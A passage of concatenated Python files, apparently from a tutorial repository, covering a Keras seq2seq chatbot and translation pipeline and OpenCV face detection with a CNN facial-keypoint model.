self.x_tk.fit_on_texts(self.X) self.y_tk.fit_on_texts(self.y) self.X = self.x_tk.texts_to_sequences(self.X) self.y = self.y_tk.texts_to_sequences(self.y) # calculate both sequence lengths ( source and target ) self.source_sequence_length = max([len(x) for x in self.X]) self.target_sequence_length = max([len(x) for x in self.y]) # calculating number of encoder/decoder vocab sizes self.num_encoder_tokens = len(self.x_tk.index_word) + 1 self.num_decoder_tokens = len(self.y_tk.index_word) + 1 # dump tokenizers pickle.dump(self.x_tk, open("results/x_tk.pickle", "wb")) pickle.dump(self.y_tk, open("results/y_tk.pickle", "wb")) def pad_sequences(self): """Pad sequences""" self.X = pad_sequences(self.X, maxlen=self.source_sequence_length, padding='post') self.y = pad_sequences(self.y, maxlen=self.target_sequence_length, padding='post') def split_data(self): """split training/validation sets using self.validation_split""" split_value = int(len(self.X)*self.validation_split) self.X_test = self.X[:split_value] self.X_train = self.X[split_value:] self.y_test = self.y[:split_value] self.y_train = self.y[split_value:] # free up memory del self.X del self.y def shuffle_data(self, train=True): """Shuffles X and y together :params train (bool): whether to shuffle training data, default is True Note that when train is False, testing data is shuffled instead.""" state = np.random.get_state() if train: np.random.shuffle(self.X_train) np.random.set_state(state) np.random.shuffle(self.y_train) else: np.random.shuffle(self.X_test) np.random.set_state(state) np.random.shuffle(self.y_test) def next_train(self): """Training set generator""" return self.generate_batches(self.X_train, self.y_train, train=True) def next_validation(self): """Validation set generator""" return self.generate_batches(self.X_test, self.y_test, train=False) def generate_batches(self, X, y, train=True): """Data generator""" same_tokenizer = self.same_tokenizer batch_size = self.batch_size char_level = self.char_level source_sequence_length = self.source_sequence_length target_sequence_length = self.target_sequence_length if same_tokenizer: num_encoder_tokens = max([self.num_encoder_tokens, self.num_decoder_tokens]) num_decoder_tokens = num_encoder_tokens else: num_encoder_tokens = self.num_encoder_tokens num_decoder_tokens = self.num_decoder_tokens while True: for j in range(0, len(X), batch_size): encoder_input_data = X[j: j+batch_size] decoder_input_data = y[j: j+batch_size] # update batch size ( different size in last batch of the dataset ) batch_size = encoder_input_data.shape[0] if self.char_level: encoder_data = np.zeros((batch_size, source_sequence_length, num_encoder_tokens)) decoder_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens)) else: encoder_data = encoder_input_data decoder_data = decoder_input_data decoder_target_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens)) if char_level: # if its char level, one-hot all sequences of characters for i, sequence in enumerate(decoder_input_data): for t, word_index in enumerate(sequence): if t > 0: decoder_target_data[i, t - 1, word_index] = 1 decoder_data[i, t, word_index] = 1 for i, sequence in enumerate(encoder_input_data): for t, word_index in enumerate(sequence): encoder_data[i, t, word_index] = 1 else: # if its word level, one-hot only target_data ( the one compared with dense ) for i, sequence in enumerate(decoder_input_data): for t, word_index in enumerate(sequence): if t > 0: decoder_target_data[i, t - 1, word_index] = 1 yield ([encoder_data, decoder_data], decoder_target_data) # shuffle data when an epoch is finished self.shuffle_data(train=train) def get_embedding_vectors(tokenizer): embedding_index = {} with open("data/glove.6B.300d.txt", encoding='utf8') as f: for line in tqdm.tqdm(f, "Reading GloVe"): values = line.split() word = values[0] vectors = np.asarray(values[1:], dtype='float32') embedding_index[word] = vectors word_index = tokenizer.word_index embedding_matrix = np.zeros((len(word_index)+1, 300)) for word, i in word_index.items(): embedding_vector = embedding_index.get(word) if embedding_vector is not None: # words not found will be 0s embedding_matrix[i] = embedding_vector return embedding_matrix def load_data(filename): text = [] append = text.append with open(filename) as f: for line in tqdm.tqdm(f, f"Reading {filename}"): line = line.strip() append(line) return text # def generate_batch(X, y, num_decoder_tokens, max_length_src, max_length_target, batch_size=256): # """Generating data""" # while True: # for j in range(0, len(X), batch_size): # encoder_input_data = np.zeros((batch_size, max_length_src), dtype='float32') # decoder_input_data = np.zeros((batch_size, max_length_target), dtype='float32') # decoder_target_data = np.zeros((batch_size, max_length_target, num_decoder_tokens), dtype='float32') # for i, (input_text, target_text) in enumerate(zip(X[j: j+batch_size], y[j: j+batch_size])): # for t, word in enumerate(input_text.split()): # encoder_input_data[i, t] = input_word_index[word] # encoder input sequence # for t, word in enumerate(target_text.split()): # if t > 0: # # offset by one timestep # # one-hot encoded # decoder_target_data[i, t-1, target_token_index[word]] = 1 # if t < len(target_text.split()) - 1: # decoder_input_data[i, t] = target_token_index[word] # yield ([encoder_input_data, decoder_input_data], decoder_target_data) # def tokenize(x, tokenizer=None): # """Tokenize x # :param x: List of sentences/strings to be tokenized # :return: Tuple of (tokenized x data, tokenizer used to tokenize x)""" # if tokenizer: # t = tokenizer # else: # t = Tokenizer() # t.fit_on_texts(x) # return t.texts_to_sequences(x), t # def pad(x, length=None): # """Pad x # :param x: list of sequences # :param length: Length to pad the sequence to, If None, use length # of longest sequence in x. # :return: Padded numpy array of sequences""" # return pad_sequences(x, maxlen=length, padding="post") # def preprocess(x, y): # """Preprocess x and y # :param x: Feature list of sentences # :param y: Label list of sentences # :return: Tuple of (preprocessed x, preprocessed y, x tokenizer, y tokenizer)""" # preprocess_x, x_tk = tokenize(x) # preprocess_y, y_tk = tokenize(y) # preprocess_x2 = [ [0] + s for s in preprocess_y ] # longest_x = max([len(i) for i in preprocess_x]) # longest_y = max([len(i) for i in preprocess_y]) + 1 # # max_length = len(x_tk.word_index) if len(x_tk.word_index) > len(y_tk.word_index) else len(y_tk.word_index) # max_length = longest_x if longest_x > longest_y else longest_y # preprocess_x = pad(preprocess_x, length=max_length) # preprocess_x2 = pad(preprocess_x2, length=max_length) # preprocess_y = pad(preprocess_y, length=max_length) # # preprocess_x = to_categorical(preprocess_x) # # preprocess_x2 = to_categorical(preprocess_x2) # preprocess_y = to_categorical(preprocess_y) # return preprocess_x, preprocess_x2, preprocess_y, x_tk, y_tk from keras.layers import Embedding, TimeDistributed, Dense, GRU, LSTM, Input from keras.models import Model, Sequential from keras.utils import to_categorical import numpy as np import tqdm def encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens, embedding_matrix=None, embedding_layer=True): # ENCODER # define an input sequence and process it if embedding_layer: encoder_inputs = Input(shape=(None,)) if embedding_matrix is None: encoder_emb_layer = Embedding(num_encoder_tokens, latent_dim, mask_zero=True) else: encoder_emb_layer = Embedding(num_encoder_tokens, latent_dim, mask_zero=True, weights=[embedding_matrix], trainable=False) encoder_emb = encoder_emb_layer(encoder_inputs) else: encoder_inputs = Input(shape=(None, num_encoder_tokens)) encoder_emb = encoder_inputs encoder_lstm = LSTM(latent_dim, return_state=True) encoder_outputs, state_h, state_c = encoder_lstm(encoder_emb) # we discard encoder_outputs and only keep the states encoder_states = [state_h, state_c] # DECODER # Set up the decoder, using encoder_states as initial state if embedding_layer: decoder_inputs = Input(shape=(None,)) else: decoder_inputs = Input(shape=(None, num_encoder_tokens)) # add an embedding layer # decoder_emb_layer = Embedding(num_decoder_tokens, latent_dim, mask_zero=True) if embedding_layer: decoder_emb = encoder_emb_layer(decoder_inputs) else: decoder_emb = decoder_inputs # we set up our decoder to return full output sequences # and to return internal states as well, we don't use the # return states in the training model, but we will use them in inference decoder_lstm = LSTM(latent_dim, return_sequences=True, return_state=True) decoder_outputs, _, _, = decoder_lstm(decoder_emb, initial_state=encoder_states) # dense output layer used to predict each character ( or word ) # in one-hot manner, not recursively decoder_dense = Dense(num_decoder_tokens, activation="softmax") decoder_outputs = decoder_dense(decoder_outputs) # finally, the model is defined with inputs for the encoder and the decoder # and the output target sequence # turn encoder_input_data & decoder_input_data into decoder_target_data model = Model([encoder_inputs, decoder_inputs], output=decoder_outputs) # model.summary() # define encoder inference model encoder_model = Model(encoder_inputs, encoder_states) # define decoder inference model decoder_state_input_h = Input(shape=(latent_dim,)) decoder_state_input_c = Input(shape=(latent_dim,)) decoder_states_inputs = [decoder_state_input_h, decoder_state_input_c] # Get the embeddings of the decoder sequence if embedding_layer: dec_emb2 = encoder_emb_layer(decoder_inputs) else: dec_emb2 = decoder_inputs decoder_outputs, state_h, state_c = decoder_lstm(dec_emb2, initial_state=decoder_states_inputs) decoder_states = [state_h, state_c] decoder_outputs = decoder_dense(decoder_outputs) decoder_model = Model([decoder_inputs] + decoder_states_inputs, [decoder_outputs] + decoder_states) return model, encoder_model, decoder_model def predict_sequence(enc, dec, source, n_steps, cardinality, char_level=False): """Generate target given source sequence, this function can be used after the model is trained to generate a target sequence given a source sequence.""" # encode state = enc.predict(source) # start of sequence input if char_level: target_seq = np.zeros((1, 1, 61)) else: target_seq = np.zeros((1, 1)) # collect predictions output = [] for t in range(n_steps): # predict next char yhat, h, c = dec.predict([target_seq] + state) # store predictions y = yhat[0, 0, :] if char_level: sampled_token_index = to_categorical(np.argmax(y), num_classes=61) else: sampled_token_index = np.argmax(y) output.append(sampled_token_index) # update state state = [h, c] # update target sequence if char_level: target_seq = np.zeros((1, 1, 61)) else: target_seq = np.zeros((1, 1)) target_seq[0, 0] = sampled_token_index return np.array(output) def decode_sequence(enc, dec, input_seq): # Encode the input as state vectors. states_value = enc.predict(input_seq) # Generate empty target sequence of length 1. target_seq = np.zeros((1,1)) # Populate the first character of target sequence with the start character. target_seq[0, 0] = 0 # Sampling loop for a batch of sequences # (to simplify, here we assume a batch of size 1). stop_condition = False decoded_sequence = [] while not stop_condition: output_tokens, h, c = dec.predict([target_seq] + states_value) # Sample a token sampled_token_index = np.argmax(output_tokens[0, -1, :]) # sampled_char = reverse_target_char_index[sampled_token_index] decoded_sentence.append(output_tokens[0, -1, :]) # Exit condition: either hit max length or find stop token. if (output_tokens == '<PAD>' or len(decoded_sentence) > 50): stop_condition = True # Update the target sequence (of length 1). target_seq = np.zeros((1,1)) target_seq[0, 0] = sampled_token_index # Update states states_value = [h, c] return decoded_sentence from keras.preprocessing.text import Tokenizer from keras.preprocessing.sequence import pad_sequences from keras.utils import to_categorical import numpy as np def tokenize(x, tokenizer=None): """Tokenize x :param x: List of sentences/strings to be tokenized :return: Tuple of (tokenized x data, tokenizer used to tokenize x)""" if tokenizer: t = tokenizer else: t = Tokenizer() t.fit_on_texts(x) return t.texts_to_sequences(x), t def pad(x, length=None): """Pad x :param x: list of sequences :param length: Length to pad the sequence to, If None, use length of longest sequence in x. :return: Padded numpy array of sequences""" return pad_sequences(x, maxlen=length, padding="post") def preprocess(x, y): """Preprocess x and y :param x: Feature list of sentences :param y: Label list of sentences :return: Tuple of (preprocessed x, preprocessed y, x tokenizer, y tokenizer)""" preprocess_x, x_tk = tokenize(x) preprocess_y, y_tk = tokenize(y) preprocess_x2 = [ [0] + s for s in preprocess_y ] longest_x = max([len(i) for i in preprocess_x]) longest_y = max([len(i) for i in preprocess_y]) + 1 # max_length = len(x_tk.word_index) if len(x_tk.word_index) > len(y_tk.word_index) else len(y_tk.word_index) max_length = longest_x if longest_x > longest_y else longest_y preprocess_x = pad(preprocess_x, length=max_length) preprocess_x2 = pad(preprocess_x2, length=max_length) preprocess_y = pad(preprocess_y, length=max_length) # preprocess_x = to_categorical(preprocess_x) # preprocess_x2 = to_categorical(preprocess_x2) preprocess_y = to_categorical(preprocess_y) return preprocess_x, preprocess_x2, preprocess_y, x_tk, y_tk def load_data(filename): with open(filename) as f: text = f.read() return text.split("\n") def load_dataset(): english_sentences = load_data("data/small_vocab_en") french_sentences = load_data("data/small_vocab_fr") return preprocess(english_sentences, french_sentences) # def generate_batch(X, y, num_decoder_tokens, max_length_src, max_length_target, batch_size=256): # """Generating data""" # while True: # for j in range(0, len(X), batch_size): # encoder_input_data = np.zeros((batch_size, max_length_src), dtype='float32') # decoder_input_data = np.zeros((batch_size, max_length_target), dtype='float32') # decoder_target_data = np.zeros((batch_size, max_length_target, num_decoder_tokens), dtype='float32') # for i, (input_text, target_text) in enumerate(zip(X[j: j+batch_size], y[j: j+batch_size])): # for t, word in enumerate(input_text.split()): # encoder_input_data[i, t] = input_word_index[word] # encoder input sequence # for t, word in enumerate(target_text.split()): # if t > 0: # # offset by one timestep # # one-hot encoded # decoder_target_data[i, t-1, target_token_index[word]] = 1 # if t < len(target_text.split()) - 1: # decoder_input_data[i, t] = target_token_index[word] # yield ([encoder_input_data, decoder_input_data], decoder_target_data) if __name__ == "__main__": from generator import NMTGenerator gen = NMTGenerator(source_file="data/small_vocab_en", target_file="data/small_vocab_fr") gen.load_dataset() print(gen.num_decoder_tokens) print(gen.num_encoder_tokens) print(gen.source_sequence_length) print(gen.target_sequence_length) print(gen.X.shape) print(gen.y.shape) for i, ((encoder_input_data, decoder_input_data), decoder_target_data) in enumerate(gen.generate_batches()): # print("encoder_input_data.shape:", encoder_input_data.shape) # print("decoder_output_data.shape:", decoder_input_data.shape) if i % (len(gen.X) // gen.batch_size + 1) == 0: print(i, ": decoder_input_data:", decoder_input_data[0]) # to use CPU import os os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=5, inter_op_parallelism_threads=5, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) from models import predict_sequence, encoder_decoder_model from preprocess import tokenize, pad from keras.utils import to_categorical from generator import get_embedding_vectors import pickle import numpy as np x_tk = pickle.load(open("results/x_tk.pickle", "rb")) y_tk = pickle.load(open("results/y_tk.pickle", "rb")) index_to_words = {id: word for word, id in y_tk.word_index.items()} index_to_words[0] = '_' def logits_to_text(logits): """ Turn logits from a neural network into text using the tokenizer :param logits: Logits from a neural network :param tokenizer: Keras Tokenizer fit on the labels :return: String that represents the text of the logits """ # return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)]) return ' '.join([index_to_words[prediction] for prediction in logits]) num_encoder_tokens = 29046 num_decoder_tokens = 29046 latent_dim = 300 # embedding_vectors = get_embedding_vectors(x_tk) model, enc, dec = encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens) enc.summary() dec.summary() model.summary() model.load_weights("results/chatbot_v13_4.831_0.219.h5") while True: text = input("> ") tokenized = tokenize([text], tokenizer=y_tk)[0] # print("tokenized:", tokenized) X = pad(tokenized, length=37) sequence = predict_sequence(enc, dec, X, 37, num_decoder_tokens) # print(sequence) result = logits_to_text(sequence) print(result) # to use CPU import os os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=5, inter_op_parallelism_threads=5, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) from models import predict_sequence, encoder_decoder_model from preprocess import tokenize, pad from keras.utils import to_categorical from generator import get_embedding_vectors import pickle import numpy as np x_tk = pickle.load(open("results/x_tk.pickle", "rb")) y_tk = pickle.load(open("results/y_tk.pickle", "rb")) index_to_words = {id: word for word, id in y_tk.word_index.items()} index_to_words[0] = '_' def logits_to_text(logits): """ Turn logits from a neural network into text using the tokenizer :param logits: Logits from a neural network :param tokenizer: Keras Tokenizer fit on the labels :return: String that represents the text of the logits """ # return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)]) # return ''.join([index_to_words[np.where(prediction==1)[0]] for prediction in logits]) text = "" for prediction in logits: char_index = np.where(prediction)[0][0] char = index_to_words[char_index] text += char return text num_encoder_tokens = 61 num_decoder_tokens = 61 latent_dim = 384 # embedding_vectors = get_embedding_vectors(x_tk) model, enc, dec = encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens, embedding_layer=False) enc.summary() dec.summary() model.summary() model.load_weights("results/chatbot_charlevel_v2_0.32_0.90.h5") while True: text = input("> ") tokenized = tokenize([text], tokenizer=y_tk)[0] # print("tokenized:", tokenized) X = to_categorical(pad(tokenized, length=37), num_classes=num_encoder_tokens) # print(X) sequence = predict_sequence(enc, dec, X, 206, num_decoder_tokens, char_level=True) # print(sequence) result = logits_to_text(sequence) print(result) import numpy as np import pickle from models import encoder_decoder_model from generator import NMTGenerator, get_embedding_vectors from preprocess import load_dataset from keras.callbacks import ModelCheckpoint from keras_adabound import AdaBound text_gen = NMTGenerator(source_file="data/questions", target_file="data/answers", batch_size=32, same_tokenizer=True, verbose=2) text_gen.load_dataset() print("[+] Dataset loaded.") num_encoder_tokens = text_gen.num_encoder_tokens num_decoder_tokens = text_gen.num_decoder_tokens # get tokenizer tokenizer = text_gen.x_tk embedding_vectors = get_embedding_vectors(tokenizer) print("text_gen.source_sequence_length:", text_gen.source_sequence_length) print("text_gen.target_sequence_length:", text_gen.target_sequence_length) num_tokens = max([num_encoder_tokens, num_decoder_tokens]) latent_dim = 300 model, enc, dec = encoder_decoder_model(num_tokens, latent_dim, num_tokens, embedding_matrix=embedding_vectors) model.summary() enc.summary() dec.summary() del enc del dec print("[+] Models created.") model.compile(optimizer="rmsprop", loss="categorical_crossentropy", metrics=["accuracy"]) print("[+] Model compiled.") # pickle.dump(x_tk, open("results/x_tk.pickle", "wb")) print("[+] X tokenizer serialized.") # pickle.dump(y_tk, open("results/y_tk.pickle", "wb")) print("[+] y tokenizer serialized.") # X = X.reshape((X.shape[0], X.shape[2], X.shape[1])) # y = y.reshape((y.shape[0], y.shape[2], y.shape[1])) print("[+] Dataset reshaped.") # print("X1.shape:", X1.shape) # print("X2.shape:", X2.shape) # print("y.shape:", y.shape) checkpointer = ModelCheckpoint("results/chatbot_v13_{val_loss:.3f}_{val_acc:.3f}.h5", save_best_only=False, verbose=1) model.load_weights("results/chatbot_v13_4.806_0.219.h5") # model.fit([X1, X2], y, model.fit_generator(text_gen.next_train(), validation_data=text_gen.next_validation(), verbose=1, steps_per_epoch=(len(text_gen.X_train) // text_gen.batch_size), validation_steps=(len(text_gen.X_test) // text_gen.batch_size), callbacks=[checkpointer], epochs=5) print("[+] Model trained.") model.save_weights("results/chatbot_v13.h5") print("[+] Model saved.") import numpy as np import pickle from models import encoder_decoder_model from generator import NMTGenerator, get_embedding_vectors from preprocess import load_dataset from keras.callbacks import ModelCheckpoint from keras_adabound import AdaBound text_gen = NMTGenerator(source_file="data/questions", target_file="data/answers", batch_size=256, same_tokenizer=True, char_level=True, verbose=2) text_gen.load_dataset() print("[+] Dataset loaded.") num_encoder_tokens = text_gen.num_encoder_tokens num_decoder_tokens = text_gen.num_decoder_tokens # get tokenizer tokenizer = text_gen.x_tk print("text_gen.source_sequence_length:", text_gen.source_sequence_length) print("text_gen.target_sequence_length:", text_gen.target_sequence_length) num_tokens = max([num_encoder_tokens, num_decoder_tokens]) latent_dim = 384 model, enc, dec = encoder_decoder_model(num_tokens, latent_dim, num_tokens, embedding_layer=False) model.summary() enc.summary() dec.summary() del enc del dec print("[+] Models created.") model.compile(optimizer=AdaBound(lr=1e-3, final_lr=0.1), loss="categorical_crossentropy", metrics=["accuracy"]) print("[+] Model compiled.") # pickle.dump(x_tk, open("results/x_tk.pickle", "wb")) print("[+] X tokenizer serialized.") # pickle.dump(y_tk, open("results/y_tk.pickle", "wb")) print("[+] y tokenizer serialized.") # X = X.reshape((X.shape[0], X.shape[2], X.shape[1])) # y = y.reshape((y.shape[0], y.shape[2], y.shape[1])) print("[+] Dataset reshaped.") # print("X1.shape:", X1.shape) # print("X2.shape:", X2.shape) # print("y.shape:", y.shape) checkpointer = ModelCheckpoint("results/chatbot_charlevel_v2_{val_loss:.2f}_{val_acc:.2f}.h5", save_best_only=False, verbose=1) model.load_weights("results/chatbot_charlevel_v2_0.32_0.90.h5") # model.fit([X1, X2], y, model.fit_generator(text_gen.next_train(), validation_data=text_gen.next_validation(), verbose=1, steps_per_epoch=(len(text_gen.X_train) // text_gen.batch_size)+1, validation_steps=(len(text_gen.X_test) // text_gen.batch_size)+1, callbacks=[checkpointer], epochs=50) print("[+] Model trained.") model.save_weights("results/chatbot_charlevel_v2.h5") print("[+] Model saved.") import tqdm X, y = [], [] with open("data/fr-en", encoding='utf8') as f: for i, line in tqdm.tqdm(enumerate(f), "Reading file"): if "europarl-v7" in line: continue # X.append(line) # if i == 2007723 or i == 2007724 or i == 2007725 if i <= 2007722: X.append(line.strip()) else: y.append(line.strip()) y.pop(-1) with open("data/en", "w", encoding='utf8') as f: for i in tqdm.tqdm(X, "Writing english"): print(i, file=f) with open("data/fr", "w", encoding='utf8') as f: for i in tqdm.tqdm(y, "Writing french"): print(i, file=f) import glob import tqdm import os import random import inflect p = inflect.engine() X, y = [], [] special_words = { "haha", "rockikz", "fullclip", "xanthoss", "aw", "wow", "ah", "oh", "god", "quran", "allah", "muslims", "muslim", "islam", "?", ".", ",", '_func_val_get_callme_para1_comma0', '_num2_', '_func_val_get_last_question', '_num1_', '_func_val_get_number_plus_para1__num1__para2__num2_', '_func_val_update_call_me_enforced_para1__callme_', '_func_val_get_number_minus_para1__num2__para2__num1_', '_func_val_get_weekday_para1_d0', '_func_val_update_user_name_para1__name_', '_callme_', '_func_val_execute_pending_action_and_reply_para1_no', '_func_val_clear_user_name_and_call_me', '_func_val_get_story_name_para1_the_velveteen_rabbit', '_ignored_', '_func_val_get_number_divide_para1__num1__para2__num2_', '_func_val_get_joke_anyQ:', '_func_val_update_user_name_and_call_me_para1__name__para2__callme_', '_func_val_get_number_divide_para1__num2__para2__num1_Q:', '_name_', '_func_val_ask_name_if_not_yet', '_func_val_get_last_answer', '_func_val_continue_last_topic', '_func_val_get_weekday_para1_d1', '_func_val_get_number_minus_para1__num1__para2__num2_', '_func_val_get_joke_any', '_func_val_get_story_name_para1_the_three_little_pigs', '_func_val_update_call_me_para1__callme_', '_func_val_get_story_name_para1_snow_white', '_func_val_get_today', '_func_val_get_number_multiply_para1__num1__para2__num2_', '_func_val_update_user_name_enforced_para1__name_', '_func_val_get_weekday_para1_d_2', '_func_val_correct_user_name_para1__name_', '_func_val_get_time', '_func_val_get_number_divide_para1__num2__para2__num1_', '_func_val_get_story_any', '_func_val_execute_pending_action_and_reply_para1_yes', '_func_val_get_weekday_para1_d_1', '_func_val_get_weekday_para1_d2' } english_words = { word.strip() for word in open("data/words8.txt") } embedding_words = set() f = open("data/glove.6B.300d.txt", encoding='utf8') for line in tqdm.tqdm(f, "Reading GloVe words"): values = line.split() word = values[0] embedding_words.add(word) maps = open("data/maps.txt").readlines() word_mapper = {} for map in maps: key, value = map.split("=>") key = key.strip() value = value.strip() print(f"Mapping {key} to {value}") word_mapper[key.lower()] = value unks = 0 digits = 0 mapped = 0 english = 0 special = 0 def map_text(line): global unks global digits global mapped global english global special result = [] append = result.append words = line.split() for word in words: word = word.lower() if word.isdigit(): append(p.number_to_words(word)) digits += 1 continue if word in word_mapper: append(word_mapper[word]) mapped += 1 continue if word in english_words: append(word) english += 1 continue if word in special_words: append(word) special += 1 continue append("_unk_") unks += 1 return ' '.join(result) for file in tqdm.tqdm(glob.glob("data/Augment*/*"), "Reading files"): with open(file, encoding='utf8') as f: for line in f: line = line.strip() if "Q: " in line: X.append(line) elif "A: " in line: y.append(line) # shuffle X and y maintaining the order combined = list(zip(X, y)) random.shuffle(combined) X[:], y[:] = zip(*combined) with open("data/questions", "w") as f: for line in tqdm.tqdm(X, "Writing questions"): line = line.strip().lstrip('Q: ') line = map_text(line) print(line, file=f) print() print("[!] Unks:", unks) print("[!] digits:", digits) print("[!] Mapped:", mapped) print("[!] english:", english) print("[!] special:", special) print() unks = 0 digits = 0 mapped = 0 english = 0 special = 0 with open("data/answers", "w") as f: for line in tqdm.tqdm(y, "Writing answers"): line = line.strip().lstrip('A: ') line = map_text(line) print(line, file=f) print() print("[!] Unks:", unks) print("[!] digits:", digits) print("[!] Mapped:", mapped) print("[!] english:", english) print("[!] special:", special) print() import numpy as np import cv2 # loading the test image image = cv2.imread("kids.jpg") # converting to grayscale image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # initialize the face recognizer (default face haar cascade) face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml") # detect all the faces in the image faces = face_cascade.detectMultiScale(image_gray, 1.3, 5) # for every face, draw a blue rectangle for x, y, width, height in faces: cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2) # save the image with rectangles cv2.imwrite("kids_detected.jpg", image) import numpy as np import cv2 # create a new cam object cap = cv2.VideoCapture(0) # initialize the face recognizer (default face haar cascade) face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml") while True: # read the image from the cam _, image = cap.read() # converting to grayscale image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # detect all the faces in the image faces = face_cascade.detectMultiScale(image_gray, 1.3, 5) # for every face, draw a blue rectangle for x, y, width, height in faces: cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2) cv2.imshow("image", image) if cv2.waitKey(1) == ord("q"): break cap.release() cv2.destroyAllWindows() import cv2 import numpy as np import matplotlib.pyplot as plt import sys from models import create_model from parameters import * from utils import normalize_image def untransform(keypoints): return keypoints * 50 + 100 def get_single_prediction(model, image): image = np.expand_dims(image, axis=0) keypoints = model.predict(image)[0] return keypoints.reshape(*OUTPUT_SHAPE) def show_keypoints(image, predicted_keypoints, true_keypoints=None): predicted_keypoints = untransform(predicted_keypoints) plt.imshow(np.squeeze(image), cmap="gray") plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m") if true_keypoints is not None: true_keypoints = untransform(true_keypoints) plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g") plt.show() image = cv2.imread(sys.argv[1]) image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) # # construct the model model = create_model((*IMAGE_SIZE, 1), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]) model.load_weights("results/model_smoothl1.h5") face_cascade = cv2.CascadeClassifier("haarcascade_frontalface_default.xml") # get all the faces in the image faces = face_cascade.detectMultiScale(image, 1.2, 2) for (x, y, w, h) in faces: cv2.rectangle(image, (x, y), (x+w, y+h), (255, 0, 0), 3) face_image = image.copy()[y: y+h, x: x+w] face_image = normalize_image(face_image) keypoints = get_single_prediction(model, face_image) show_keypoints(face_image, keypoints) import pandas as pd import numpy as np import matplotlib.pyplot as plt import cv2 from models import create_model from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file from utils import load_data, resize_image, normalize_keypoints, normalize_image def get_single_prediction(model, image): image = np.expand_dims(image, axis=0) keypoints = model.predict(image)[0] return keypoints.reshape(*OUTPUT_SHAPE) def get_predictions(model, X): predicted_keypoints = model.predict(X) predicted_keypoints = predicted_keypoints.reshape(-1, *OUTPUT_SHAPE) return predicted_keypoints def show_keypoints(image, predicted_keypoints, true_keypoints=None): predicted_keypoints = untransform(predicted_keypoints) plt.imshow(image, cmap="gray") plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m") if true_keypoints is not None: true_keypoints = untransform(true_keypoints) plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g") plt.show() def show_keypoints_cv2(image, predicted_keypoints, true_keypoints=None): for keypoint in predicted_keypoints: image = cv2.circle(image, (keypoint[0], keypoint[1]), 2, color=2) if true_keypoints is not None: image = cv2.circle(image, (true_keypoints[:, 0], true_keypoints[:, 1]), 2, color="green") return image def untransform(keypoints): return keypoints * 224 # construct the model model = create_model((*IMAGE_SIZE, 1), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]) model.load_weights("results/model_smoothl1_different-scaling.h5") # X_test, y_test = load_data(testing_file) # y_test = y_test.reshape(-1, *OUTPUT_SHAPE) cap = cv2.VideoCapture(0) while True: _, frame = cap.read() # make a copy of the original image image = frame.copy() image = normalize_image(image) keypoints = get_single_prediction(model, image) print(keypoints[0]) keypoints = untransform(keypoints) # w, h = frame.shape[:2] # keypoints = (keypoints * [frame.shape[0] / image.shape[0], frame.shape[1] / image.shape[1]]).astype("int16") # frame = show_keypoints_cv2(frame, keypoints) image = show_keypoints_cv2(image, keypoints) cv2.imshow("frame", image) if cv2.waitKey(1) == ord("q"): break cv2.destroyAllWindows() cap.release() from tensorflow.keras.models import Sequential, Model from tensorflow.keras.layers import Dense, Activation, Conv2D, MaxPooling2D, Dropout, Flatten from tensorflow.keras.applications import MobileNetV2 import tensorflow as tf import tensorflow.keras.backend as K def smoothL1(y_true, y_pred): HUBER_DELTA = 0.5 x = K.abs(y_true - y_pred) x = K.switch(x < HUBER_DELTA, 0.5 * x ** 2, HUBER_DELTA * (x - 0.5 * HUBER_DELTA)) return K.sum(x) def create_model(input_shape, output_shape): # building the model model = Sequential() model.add(Conv2D(filters=32, kernel_size=(5, 5), padding="same", input_shape=input_shape)) model.add(Activation("relu")) model.add(Conv2D(filters=32, kernel_size=(5, 5), padding="same")) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2))) # model.add(Dropout(0.25)) model.add(Conv2D(filters=64, kernel_size=(5, 5), padding="same")) model.add(Activation("relu")) model.add(Conv2D(filters=64, kernel_size=(5, 5), padding="same")) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2))) # model.add(Dropout(0.25)) model.add(Conv2D(filters=128, kernel_size=(5, 5), padding="same")) model.add(Activation("relu")) model.add(Conv2D(filters=128, kernel_size=(5, 5), padding="same")) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2))) # model.add(Dropout(0.25)) # model.add(Conv2D(filters=256, kernel_size=(5, 5), padding="same")) # model.add(Activation("relu")) # model.add(Conv2D(filters=256, kernel_size=(5, 5), padding="same")) # model.add(Activation("relu")) # model.add(MaxPooling2D(pool_size=(2, 2))) # # model.add(Dropout(0.25)) # flattening the convolutions model.add(Flatten()) # fully-connected layers model.add(Dense(256)) model.add(Activation("relu")) model.add(Dropout(0.5)) model.add(Dense(output_shape, activation="linear")) # print the summary of the model architecture 